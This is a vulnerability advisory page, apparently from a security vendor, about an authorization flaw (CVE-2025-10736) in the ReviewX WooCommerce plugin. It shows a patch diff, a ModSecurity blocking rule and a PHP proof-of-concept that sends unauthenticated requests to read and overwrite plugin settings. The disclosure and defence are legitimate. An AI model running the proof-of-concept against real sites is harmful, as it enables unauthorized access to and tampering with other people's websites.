+        $schemaTypeMap = ['post' => 'BlogPosting', 'page' => 'Article', 'job' => 'JobPosting', 'job_listing' => 'JobPosting', 'book' => 'Book', 'movie' => 'Movie', 'event' => 'Event', 'recipe' => 'Recipe', 'course' => 'Course', 'season' => 'CreativeWorkSeason', 'series' => 'CreativeWorkSeries', 'software' => 'SoftwareApplication', 'application' => 'SoftwareApplication', 'app' => 'SoftwareApplication', 'music' => 'MusicRecording', 'game' => 'Game', 'howto' => 'HowTo', 'episode' => 'Episode', 'business' => 'LocalBusiness'];
+        // Do not use 'CreativeWork' as a fallback for reviews, use 'BlogPosting' or 'Article' instead.
+        $schemaType = $schemaTypeMap[$postType] ?? 'Article';
+        $reviewableTypes = ['Book', 'Movie', 'Recipe', 'Course', 'CreativeWorkSeason', 'CreativeWorkSeries', 'SoftwareApplication', 'MusicRecording', 'MediaObject', 'Game', 'HowTo', 'Episode', 'LocalBusiness'];
+        // Start with the base markup for the main item.
+        $markup = ['@context' => 'https://schema.org/', '@type' => $schemaType, 'name' => $post->post_title, 'url' => get_permalink($post)];
+        // Only attach review data to supported types.
+        if (in_array($schemaType, $reviewableTypes, true)) {
+            $reviews = get_comments(['post_id' => $post->ID, 'status' => 'approve', 'type__in' => ['comment', 'review']]);
+            if (!empty($reviews)) {
+                $reviewCount = 0;
+                $averageRating = 0.0;
+                $reviewItems = [];
+                foreach ($reviews as $review) {
+                    if (!empty($review->comment_parent)) {
+                        continue;
+                        // Skip replies.
+                    }
+                    $rating = get_comment_meta($review->comment_ID, 'rating', true);
+                    $ratingValue = $rating !== '' ? (float) $rating : null;
+                    if ($ratingValue !== null && $ratingValue > 0) {
+                        $reviewCount++;
+                        $averageRating += $ratingValue;
+                        $reviewItems[] = ['@type' => 'Review', 'author' => ['@type' => 'Person', 'name' => $review->comment_author], 'reviewRating' => ['@type' => 'Rating', 'ratingValue' => $ratingValue], 'datePublished' => get_comment_date('c', $review), 'reviewBody' => $review->comment_content];
+                    }
+                }
+                if ($reviewCount > 0 && $averageRating > 0) {
+                    $trueAverage = round($averageRating / $reviewCount, 1);
+                    // Nest AggregateRating and individual Reviews correctly.
+                    $markup['aggregateRating'] = ['@type' => 'AggregateRating', 'ratingValue' => $trueAverage, 'reviewCount' => $reviewCount];
+                    $markup['review'] = $reviewItems;
                 }
-                // Increment review count for actual reviews
-                $reviewCount++;
-                // Get post type dynamically
-                $postType = get_post_type($post);
-                // Add review data to the markup array
-                $markup['review'][] = ['@type' => 'Review', 'author' => ['@type' => 'Person', 'name' => $review->comment_author], 'reviewRating' => ['@type' => 'Rating', 'ratingValue' => (float) get_comment_meta($review->comment_ID, 'rating', true)], 'datePublished' => get_comment_date('c', $review), 'description' => $review->comment_content, 'itemReviewed' => [
-                    '@type' => ucfirst($postType),
-                    // Dynamically set the post type name
-                    'name' => $post->post_title,
-                    // The post being reviewed
-                    'url' => get_permalink($post),
-                ]];
             }
         }
-        // Add aggregate rating if reviews exist and have an average rating
-        if ($reviewCount > 0 && $averageRating > 0) {
-            $markup['aggregateRating'] = ['@type' => 'AggregateRating', 'ratingValue' => $averageRating, 'reviewCount' => $reviewCount, 'itemReviewed' => [
-                '@type' => ucfirst($postType),
-                // Dynamically set the post type name
-                'name' => $post->post_title,
-                // The post being reviewed
-                'url' => get_permalink($post),
-            ]];
-        }
-        // Include schema type for non-product posts (adjusted for non-product scenario)
-        $markup['@context'] = 'https://schema.org/';
-        // $markup['@type'] = ucfirst(get_post_type($post)); // Dynamically set the post type name
-        // $markup['@id'] = get_permalink($post);
-        // $markup['name'] = $post->post_title;
-        // $markup['url'] = get_permalink($post);
-        // $markup['description'] = wp_trim_words($post->post_content, 20); // Adjust length if needed
-        // $markup['image'] = get_the_post_thumbnail_url($post->ID, 'full') ?: ''; // Optional: If the post has an image
+        // Restore Divi filter.
+        if ($divi_removed) {
+            add_filter('get_comment_metadata', $divi_callback, $priority ?? 10, 4);
+        }
         return $markup;
     }
     /**
-     * Adds custom schema to the head of the page for non-product post types.
+     * Outputs the schema in the page head for all eligible non-product post types.
      */
-    public static function addCustomRichSchema()
+    public static function addCustomRichSchema() : void
     {
-        // List of post types to target
-        $enabled_post_types = (new RvxCPTCptHelper())->enabledCPT();
-        unset($enabled_post_types['product']);
-        // Unset Product
-        $post_type = get_post_type();
-        if (!empty($enabled_post_types[$post_type]) && $enabled_post_types[$post_type] !== $post_type) {
+        // Bail early if not on frontend or not singular.
+        if (is_admin() || !is_singular() || function_exists('is_product') && is_product()) {
+            return;
+        }
+        global $post;
+        if (empty($post) || !isset($post->ID)) {
             return;
         }
-        // Only run on single post.
-        if (is_singular()) {
-            global $post;
-            // Instantiate the class
-            $handler = new self();
-            // Process the schema for the current post
-            $markup = $handler->schemaHandler([], $post);
-            // Output the schema markup inside a script tag in the page head
-            echo '<script type="application/ld+json">' . json_encode($markup, JSON_UNESCAPED_UNICODE) . '</script>';
+        $handler = new self();
+        $markup = $handler->schemaHandler([], $post);
+        if (!empty($markup)) {
+            echo "n<!-- ReviewX Rich Schema for {$post->post_type} -->n";
+            echo '<script type="application/ld+json">' . wp_json_encode($markup, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) . '</script>';
+            echo "n<!-- /ReviewX Rich Schema -->n";
         }
     }
 }
--- a/reviewx/app/Form/ReviewFormHelper.php
+++ b/reviewx/app/Form/ReviewFormHelper.php
@@ -18,30 +18,10 @@
             case 'elementor':
                 global $builderElementorSetting;
                 return !empty($builderElementorSetting) ? json_encode($builderElementorSetting, JSON_UNESCAPED_UNICODE) : $this->rvxDefaultReviewFormLevelData();
-            case 'oxygen':
-                return $this->builderOxygenReviewFormLevelData();
-            case 'divi':
-                return $this->rvxDefaultReviewFormLevelData();
             default:
                 return $this->rvxDefaultReviewFormLevelData();
         }
     }
-    private function builderOxygenReviewFormLevelData()
-    {
-        global $wpdb;
-        $query = "n            SELECT post_id n            FROM {$wpdb->prefix}postmeta n            WHERE meta_key = '_ct_builder_json' n            AND meta_value LIKE '%oxy-reviewx-product-tabs_rvx_oxygen%' n            ORDER BY post_id DESC n            LIMIT 1n        ";
-        $post_id = $wpdb->get_var($query);
-        $post_meta = get_post_meta($post_id, '_ct_builder_json', true);
-        // Use OR here
-        if (!$post_id || empty($post_meta)) {
-            return $this->rvxDefaultReviewFormLevelData();
-        }
-        $data = json_decode($post_meta, true);
-        $source = $data['options'] ?? $data;
-        // fallback if structure differs
-        $oxygen_values = ['write_a_review' => $source['oxy-reviewx-product-tabs_rvx_oxygen_text_write_a_review'] ?? __('Write a Review', 'reviewx'), 'text_rating_star_title' => $source['oxy-reviewx-product-tabs_rvx_oxygen_text_rating_star_title'] ?? __('Rating', 'reviewx'), 'text_review_title' => $source['oxy-reviewx-product-tabs_rvx_oxygen_text_review_title'] ?? __('Review Title', 'reviewx'), 'placeholder_review_title' => $source['oxy-reviewx-product-tabs_rvx_oxygen_placeholder_review_title'] ?? __('Write Review Title', 'reviewx'), 'text_review_description' => $source['oxy-reviewx-product-tabs_rvx_oxygen_text_review_description'] ?? __('Description', 'reviewx'), 'placeholder_review_description' => $source['oxy-reviewx-product-tabs_rvx_oxygen_placeholder_review_description'] ?? __('Write your description here', 'reviewx'), 'text_full_name' => $source['oxy-reviewx-product-tabs_rvx_oxygen_text_full_name'] ?? __('Full name', 'reviewx'), 'placeholder_full_name' => $source['oxy-reviewx-product-tabs_rvx_oxygen_placeholder_full_name'] ?? __('Full Name', 'reviewx'), 'text_email_name' => $source['oxy-reviewx-product-tabs_rvx_oxygen_text_email_name'] ?? __('Email address', 'reviewx'), 'placeholder_email_name' => $source['oxy-reviewx-product-tabs_rvx_oxygen_placeholder_email_name'] ?? __('Email Address', 'reviewx'), 'text_attachment_title' => $source['oxy-reviewx-product-tabs_rvx_oxygen_text_attachment_title'] ?? __('Attachment', 'reviewx'), 'placeholder_upload_photo' => $source['oxy-reviewx-product-tabs_rvx_oxygen_placeholder_upload_photo'] ?? __('Upload Photo / Video', 'reviewx'), 'text_mark_as_anonymous' => $source['oxy-reviewx-product-tabs_rvx_oxygen_text_mark_as_anonymous'] ?? __('Mark as Anonymous', 'reviewx'), 'text_recommended_title' => $source['oxy-reviewx-product-tabs_rvx_oxygen_text_recommended_title'] ?? __('Recommendation?', 'reviewx')];
-        return json_encode($oxygen_values, JSON_UNESCAPED_UNICODE);
-    }
     private function rvxDefaultReviewFormLevelData()
     {
         // Define the default values, if no builder is active / available then use the default string / texts
@@ -61,23 +41,6 @@
             $builder_status = true;
             $builder_name = 'elementor';
         }
-        // Oxygen
-        if (function_exists('Rvx\oxygen_vsb_register_condition')) {
-            global $wpdb;
-            $page_id = get_the_ID();
-            $post_meta_key = '_ct_builder_json';
-            // Oxygen stores builder data here
-            $oxygen_data = $wpdb->get_var($wpdb->prepare("SELECT meta_value FROM {$wpdb->postmeta} WHERE post_id = %d AND meta_key = %s", $page_id, $post_meta_key));
-            if (!empty($oxygen_data)) {
-                $builder_status = true;
-                $builder_name = 'oxygen';
-            }
-        }
-        // Divi
-        if (function_exists('Rvx\et_core_is_builder_used_on_current_request') && et_core_is_builder_used_on_current_request()) {
-            $builder_status = true;
-            $builder_name = 'divi';
-        }
         return ['builder_status' => $builder_status, 'builder_name' => $builder_name];
     }
     public function commentBoxDefaultStyleForCustomPostType() : void
--- a/reviewx/app/Handlers/Customize/WidgetCustomizeOptionsHandler.php
+++ b/reviewx/app/Handlers/Customize/WidgetCustomizeOptionsHandler.php
@@ -7,7 +7,7 @@
 {
     public function __invoke($wp_customize) : void
     {
-        //if (!function_exists('is_oxygen_edit_page') && !function_exists('et_core_is_builder_used_on_current_request') && !did_action('elementor/loaded')) {
+        //if (!did_action('elementor/loaded')) {
         $this->rvx_customizer_options_data($wp_customize);
         //}
     }
--- a/reviewx/app/Handlers/Customize/WidgetCustomizeOutputCSSHandler.php
+++ b/reviewx/app/Handlers/Customize/WidgetCustomizeOutputCSSHandler.php
@@ -6,7 +6,7 @@
 {
     public function __invoke() : void
     {
-        if (!function_exists('Rvx\is_oxygen_edit_page') && !function_exists('Rvx\et_core_is_builder_used_on_current_request') && !did_action('elementor/loaded')) {
+        if (!did_action('elementor/loaded')) {
             $this->rvx_load_customizer_output_css();
         }
     }
--- a/reviewx/app/Handlers/OrderCreateHandler.php
+++ b/reviewx/app/Handlers/OrderCreateHandler.php
@@ -7,6 +7,7 @@
 use RvxWPDrillResponse;
 use RvxUtilitiesHelper;
 use RvxUtilitiesAuthClient;
+use Exception;
 class OrderCreateHandler
 {
     public function __invoke($order_id)
@@ -28,7 +29,7 @@
                 return false;
             }
             return true;
-        } catch (Exception $e) {
+        } catch (Exception $e) {
             return false;
         }
     }
--- a/reviewx/app/Handlers/RichSchema/WoocommerceRichSchemaHandler.php
+++ b/reviewx/app/Handlers/RichSchema/WoocommerceRichSchemaHandler.php
@@ -4,34 +4,79 @@

 use RvxServicesSettingService;
 use RvxWC_Product;
+/**
+ * Handles rich schema markup for WooCommerce single product pages.
+ */
 class WoocommerceRichSchemaHandler
 {
     /**
-     * Process and add rich schema data to WooCommerce product markup.
+     * Adds or modifies structured data for WooCommerce product schema.
      *
-     * @param array      $markup   Existing schema markup.
+     * @param array      $markup   Existing WooCommerce schema data.
      * @param WC_Product $product  WooCommerce product object.
-     * @return array Updated schema markup.
+     * @return array
      */
     public function __invoke($markup, $product) : array
     {
-        $averageRating = $product->get_average_rating();
-        $reviewCount = $product->get_review_count();
-        // Add aggregate rating if reviews exist.
-        if ($reviewCount > 0) {
-            $markup['aggregateRating'] = ['@type' => 'AggregateRating', 'ratingValue' => $averageRating, 'reviewCount' => $reviewCount];
+        // Ensure we are on a single product page and in frontend.
+        if (is_admin() || !function_exists('is_product') || !is_product()) {
+            return $markup;
         }
-        // Fetch approved reviews for the product.
+        if (!$product instanceof WC_Product) {
+            return $markup;
+        }
+        // Temporarily remove Divi filter
+        $divi_callback = 'et_theme_builder_wc_set_review_metadata';
+        $divi_removed = false;
+        if (function_exists('has_filter')) {
+            $priority = has_filter('get_comment_metadata', $divi_callback);
+            if ($priority !== false) {
+                remove_filter('get_comment_metadata', $divi_callback, (int) $priority);
+                $divi_removed = true;
+            }
+        }
+        // Allow disabling via settings.
+        $settings = (new SettingService())->getReviewSettings('product');
+        if (!empty($settings['reviews']['product_schema']) && $settings['reviews']['product_schema'] == 1) {
+            if (!empty($markup['aggregateRating'])) {
+                unset($markup['aggregateRating']);
+            }
+            if (!empty($markup['review'])) {
+                unset($markup['review']);
+            }
+            return $markup;
+        }
+        // Get product rating data.
+        // $averageRating = (float) $product->get_average_rating();
+        // $reviewCount   = (int) $product->get_review_count();
+        $reviewCount = 0;
+        $averageRating = 0.0;
+        $reviewItems = [];
+        // Fetch all approved reviews.
         $reviews = get_comments(['post_id' => $product->get_id(), 'status' => 'approve', 'type' => 'review']);
         if (!empty($reviews)) {
-            $markup['review'] = [];
             foreach ($reviews as $review) {
-                $markup['review'][] = ['@type' => 'Review', 'author' => ['@type' => 'Person', 'name' => $review->comment_author], 'reviewRating' => ['@type' => 'Rating', 'ratingValue' => get_comment_meta($review->comment_ID, 'rating', true)], 'datePublished' => get_comment_date('c', $review), 'description' => $review->comment_content];
+                if (!empty($review->comment_parent)) {
+                    continue;
+                    // Skip replies
+                }
+                $rating = get_comment_meta($review->comment_ID, 'rating', true);
+                $ratingValue = $rating !== '' ? (float) $rating : null;
+                if ($ratingValue !== null) {
+                    $reviewCount++;
+                    $averageRating += $ratingValue;
+                    $reviewItems[] = ['@type' => 'Review', 'author' => ['@type' => 'Person', 'name' => $review->comment_author], 'reviewRating' => ['@type' => 'Rating', 'ratingValue' => $ratingValue], 'datePublished' => get_comment_date('c', $review), 'reviewBody' => $review->comment_content];
+                }
             }
         }
-        // Remove schema elements based on settings.
-        if (is_product() && (new SettingService())->getReviewSettings('product')['reviews']['product_schema'] === true) {
-            unset($markup['aggregateRating'], $markup['review']);
+        if ($reviewCount > 0 && $averageRating > 0) {
+            $trueAverage = round($averageRating / $reviewCount, 1);
+            $markup['aggregateRating'] = ['@type' => 'AggregateRating', 'ratingValue' => $trueAverage, 'reviewCount' => $reviewCount];
+            $markup['review'] = $reviewItems;
+        }
+        // Restore Divi filter
+        if ($divi_removed) {
+            add_filter('get_comment_metadata', $divi_callback, $priority ?? 10, 4);
         }
         return $markup;
     }
--- a/reviewx/app/Handlers/RvxInit/PageBuilderHandler.php
+++ b/reviewx/app/Handlers/RvxInit/PageBuilderHandler.php
@@ -2,8 +2,6 @@

 namespace RvxHandlersRvxInit;

-use RvxOxygenOxygenLoad;
-use RvxRvxDiviRvxDivi;
 class PageBuilderHandler
 {
     public function __invoke()
@@ -11,9 +9,5 @@
         if (class_exists('\Elementor\Plugin')) {
             RvxElementorClassesStarter::instance();
         }
-        if (class_exists('CT_Component')) {
-            (new OxygenLoad())->rvx_oxygen_woocommerce_init();
-        }
-        new RvxDivi();
     }
 }
--- a/reviewx/app/Import/Judgeme/JudgemeReviewsImport.php
+++ b/reviewx/app/Import/Judgeme/JudgemeReviewsImport.php
@@ -48,6 +48,14 @@
     }
     public function judgemeCSVdownload($request) : array
     {
+        $cookie_file = tempnam($this->tmpDir, 'judgeme_cookie_');
+        $csvPath = $this->getCsvFilePath();
+        if (file_exists($csvPath)) {
+            if (file_exists($cookie_file)) {
+                @unlink($cookie_file);
+            }
+            return ['success' => true, 'message' => 'Judgeme Export CSV file already exists.'];
+        }
         if (empty($this->judgemeDomain) || empty($this->judgemeToken)) {
             return ['success' => false, 'message' => 'Judge.me credentials are missing.'];
         }
@@ -56,7 +64,6 @@
         if (empty($login_url)) {
             return ['success' => false, 'message' => 'Login URL could not be generated.'];
         }
-        $cookie_file = tempnam($this->tmpDir, 'judgeme_cookie_');
         try {
             // Step 1: Authenticate (gets and stores session cookies)
             $ch = curl_init($login_url);
@@ -96,6 +103,10 @@
     }
     public function judgemeCSVUpload($request) : array
     {
+        $csvPath = $this->getCsvFilePath();
+        if (file_exists($csvPath)) {
+            return ['success' => true, 'message' => 'Judgeme Export CSV file already exists.', 'csv_exists' => true];
+        }
         if (empty($this->judgemeDomain) || empty($this->judgemeToken)) {
             return ['success' => false, 'message' => 'Judge.me credentials are missing.'];
         }
--- a/reviewx/app/Oxygen/OxygenLoad.php
+++ b/reviewx/app/Oxygen/OxygenLoad.php
@@ -1,20 +0,0 @@
-<?php
-
-namespace RvxOxygen;
-
-class OxygenLoad
-{
-    public function rvx_oxygen_woocommerce_init()
-    {
-        if (!class_exists('OxygenElement')) {
-            return;
-        }
-        $this->loadRequiredFiles();
-        $rvxOxyElement = new RvxOxygenRvxOxyElement();
-        // $rvxOxyWooEl = new RvxOxyWooEl();
-    }
-    private function loadRequiredFiles()
-    {
-        require_once 'RvxOxyWooEl.php';
-    }
-}
--- a/reviewx/app/Oxygen/RvxOxyElement.php
+++ b/reviewx/app/Oxygen/RvxOxyElement.php
@@ -1,24 +0,0 @@
-<?php
-
-namespace RvxOxygen;
-
-if (class_exists('RvxOxyElement')) {
-    return;
-}
-class RvxOxyElement
-{
-    function __construct()
-    {
-        $this->load_files();
-    }
-    function load_files()
-    {
-        // Single Product
-        include_once "elements/rvx-stats.class.php";
-        include_once "elements/rvx-summary.class.php";
-        $element_filenames = glob(plugin_dir_path(__FILE__) . "elements/*.php");
-        foreach ($element_filenames as $filename) {
-            include_once $filename;
-        }
-    }
-}
--- a/reviewx/app/Oxygen/RvxOxyWooEl.php
+++ b/reviewx/app/Oxygen/RvxOxyWooEl.php
@@ -1,38 +0,0 @@
-<?php
-
-namespace RvxOxygen;
-
-class RvxOxyWooEl extends OxyEl
-{
-    function init()
-    {
-        $this->El->useAJAXControls();
-        $this->setAssetsPath(OXY_WOO_ASSETS_PATH);
-    }
-    function render($options, $defaults, $content)
-    {
-        if (method_exists($this, 'wooTemplate')) {
-            global $product;
-            $product = wc_get_product();
-            if ($product != false) {
-                call_user_func(array($this, 'wooTemplate'), $options);
-            }
-        }
-    }
-    function class_names()
-    {
-        return array('oxy-woo-element');
-    }
-    function woo_button_place()
-    {
-        return "other";
-    }
-    function button_place()
-    {
-        $woo_button_place = $this->woo_button_place();
-        if ($woo_button_place) {
-            return "woo::" . $woo_button_place;
-        }
-        return "";
-    }
-}
--- a/reviewx/app/Oxygen/elements/rvx-criteria-graph.class.php
+++ b/reviewx/app/Oxygen/elements/rvx-criteria-graph.class.php
@@ -1,98 +0,0 @@
-<?php
-
-namespace Rvx;
-
-/**
- * Rvx Component Class
- *
- * @since 2.0
- */
-class RVX_Oxygen_Criteria_Graph extends CT_Component
-{
-    public $param_array;
-    public $css_util;
-    public $query;
-    function __construct($options)
-    {
-        // run initialization
-        $this->init($options);
-        //$this->register_properties();
-        // Add shortcodes
-        add_shortcode($this->options['tag'], array($this, 'add_shortcode'));
-        // change component button place
-        remove_action("ct_toolbar_fundamentals_list", array($this, "component_button"));
-        add_action("oxy_folder_wordpress_components", array($this, "component_button"));
-    }
-    /**
-     * Add a [oxy_comment_form] shortcode to WordPress
-     *
-     * @since 2.0
-     * @author Louis & Ilya
-     */
-    function add_shortcode($atts, $content, $name)
-    {
-        if (!$this->validate_shortcode($atts, $content, $name)) {
-            return '';
-        }
-        $atts = $this->set_options($atts);
-        $this->param_array = shortcode_atts(array('product_id' => ""), $atts, $this->options['tag']);
-        $this->param_array["product_id"] = esc_attr($atts['product_id']);
-        echo do_shortcode("[rvx-criteria-graph product_id='" . $atts['product_id'] . "']");
-    }
-    function component_button()
-    {
-        $icon = str_replace(" ", "", strtolower($this->options['name']));
-        ?>
-		<div class='oxygen-add-section-element'
-			data-searchid="<?php
-        echo strtolower(preg_replace('/\s+/', '_', sanitize_text_field($this->options['name'])));
-        ?>"
-			ng-click="iframeScope.addComponent('<?php
-        echo esc_attr($this->options['tag']);
-        ?>')">
-			<img src='<?php
-        echo plugin_dir_url(__FILE__) . 'assets/' . $icon . '.svg';
-        ?>' />
-			<img src='<?php
-        echo plugin_dir_url(__FILE__) . 'assets/' . $icon;
-        ?>-active.svg' />
-			<?php
-        echo sanitize_text_field($this->options['name']);
-        ?>
-		</div>
-	<?php
-    }
-    /**
-     * Map parameters to CSS properties
-     *
-     * @since 2.0
-     * @author Louis
-     */
-    function register_properties()
-    {
-        $this->cssutil = new Oxygen_VSB_CSS_Util();
-        $this->cssutil->register_selector('input, textarea');
-        $this->cssutil->map_property('product_id', 'border-color', 'input, textarea');
-    }
-    /**
-     * Output CSS based on user params
-     *
-     * @since 2.0
-     * @author Louis
-     */
-    function css()
-    {
-        if (is_array($this->param_array)) {
-            echo $this->cssutil->generate_css($this->param_array);
-        }
-    }
-}
-/**
- * Rvx Component Class
- *
- * @since 2.0
- */
-class_alias('Rvx\RVX_Oxygen_Criteria_Graph', 'RVX_Oxygen_Criteria_Graph', false);
-// Create component instance
-global $oxygen_vsb_components;
-$oxygen_vsb_components['rvx_criteria_graph'] = new RVX_Oxygen_Criteria_Graph(array('name' => __('ReviewX Criteria Graph', 'reviewx'), 'tag' => 'oxy_rvx_criteria_graph', 'params' => array(array("param_name" => "product_id", "value" => "", "type" => "textfield", "heading" => __("Product Id", "reviewx"), "css" => false)), 'advanced' => array("positioning" => array("values" => array('width' => '100', 'width-unit' => '%')), "other" => array("values" => array('product_id' => ""))), 'not_css_params' => array('product_id')));
--- a/reviewx/app/Oxygen/elements/rvx-product-tabs.php
+++ b/reviewx/app/Oxygen/elements/rvx-product-tabs.php
@@ -1,130 +0,0 @@
-<?php
-
-namespace RvxOxygenWooElements;
-
-use RvxBuilderBuilder;
-use RvxBuilderSupportOxygenBuilder;
-use RvxOxygenRvxOxyWooEl;
-if (!class_exists('WooCommerce')) {
-    return;
-}
-if (!class_exists('Rvx\OxyWooCommerce')) {
-    return;
-}
-class RvxProductTabs extends RvxOxyWooEl
-{
-    function name()
-    {
-        return 'ReviewX Product Tabs';
-    }
-    function woo_button_place()
-    {
-        return "single";
-    }
-    function icon()
-    {
-        return plugin_dir_url(__FILE__) . 'assets/' . basename(__FILE__, '.php') . '.svg';
-    }
-    function wooTemplate($options)
-    {
-        global $product;
-        $product = wc_get_product();
-        setup_postdata($product->get_id());
-        add_filter('rx_load_oxygen_style_controller', function ($data) use($options) {
-            return $options;
-        });
-        return call_user_func('woocommerce_output_product_data_tabs', 'reviews');
-    }
-    function controls()
-    {
-        /**
-         * Tabs Section
-         */
-        $tabs_section = $this->addControlSection("tabs", __("Tabs", 'reviewx'), "assets/icon.png", $this);
-        $tabs_section->addStyleControls(array(array("name" => __('Review Section Title', 'reviewx'), 'slug' => 'rx_section_title', "selector" => '', "property" => 'text'), array("name" => __('Review Section Title Color', 'reviewx'), 'slug' => 'rx_section_title_color', "selector" => '.woocommerce-Reviews-title', "property" => 'color', "control_type" => 'colorpicker'), array("name" => __('Review Section Titles Font Size', 'reviewx'), 'slug' => 'rx_section_title_font_size', "selector" => ".woocommerce-Reviews-title", "property" => 'font-size', "control_type" => "measurebox", "unit" => "px")));
-        // Normal sub-section
-        $normal_section = $tabs_section->typographySection(__("Normal Tabs"), ".woocommerce-tabs ul.tabs li a", $this);
-        $tabs_layout = $normal_section->addControl("buttons-list", "tabs_layout", __("Tabs Layout", 'reviewx'));
-        $tabs_layout->setValue(array("Horizontal", "Vertical"));
-        $tabs_layout->setValueCSS(array("Horizontal" => "", "Vertical" => "n                .woocommerce-tabs {n                display: flex;n                }n                .woocommerce-tabs ul.tabs {n                flex-direction: column;n                padding: 0;n                margin-right: 40px;n                }n                .woocommerce-tabs ul.tabs li {n                margin: 5px 0;n                text-align: left;n                }n                .woocommerce-tabs ul.tabs::before {n                border-bottom: none;n                }n                .woocommerce-tabs ul.tabs li.active {n                border-bottom-color: var(--border-normal);n                }n                .woocommerce-tabs .panel {n                

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2025-10736
SecRule REQUEST_URI "@rx ^/wp-json/reviewx/v[0-9]+/" 
  "id:10010736,phase:2,deny,status:403,chain,msg:'CVE-2025-10736 via ReviewX REST API - Unauthenticated Access',severity:'CRITICAL',tag:'CVE-2025-10736',tag:'WordPress',tag:'Plugin-ReviewX'"
  SecRule &REQUEST_HEADERS:Authorization "@eq 0" "chain"
    SecRule &REQUEST_HEADERS:X-Auth-Token "@eq 0"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-10736 - ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More <= 2.2.10 - Incorrect Authorization to Unauthenticated Information Exposure and Data Manipulation
<?php

$target_url = 'http://vulnerable-site.com';

// Target the plugin's REST API endpoint for settings or user data.
// Common ReviewX REST API endpoints include /wp-json/reviewx/v1/*
$api_endpoint = '/wp-json/reviewx/v1/settings';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $api_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// The vulnerability allows unauthenticated access, so no authentication headers are needed.
// In the vulnerable version, the request will succeed.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "Vulnerable: Successfully accessed protected endpoint.n";
    echo "Response: " . $response . "n";
} else {
    echo "Not vulnerable or endpoint not found. HTTP Code: $http_coden";
}

// Example for a POST request to modify data
$post_endpoint = '/wp-json/reviewx/v1/update-settings';
$post_data = json_encode(['setting_key' => 'malicious_value']);

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $target_url . $post_endpoint);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_POST, true);
curl_setopt($ch2, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch2, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);

$response2 = curl_exec($ch2);
$http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
curl_close($ch2);

if ($http_code2 == 200) {
    echo "Vulnerable: Successfully modified settings.n";
    echo "Response: " . $response2 . "n";
} else {
    echo "POST request failed or endpoint protected. HTTP Code: $http_code2n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School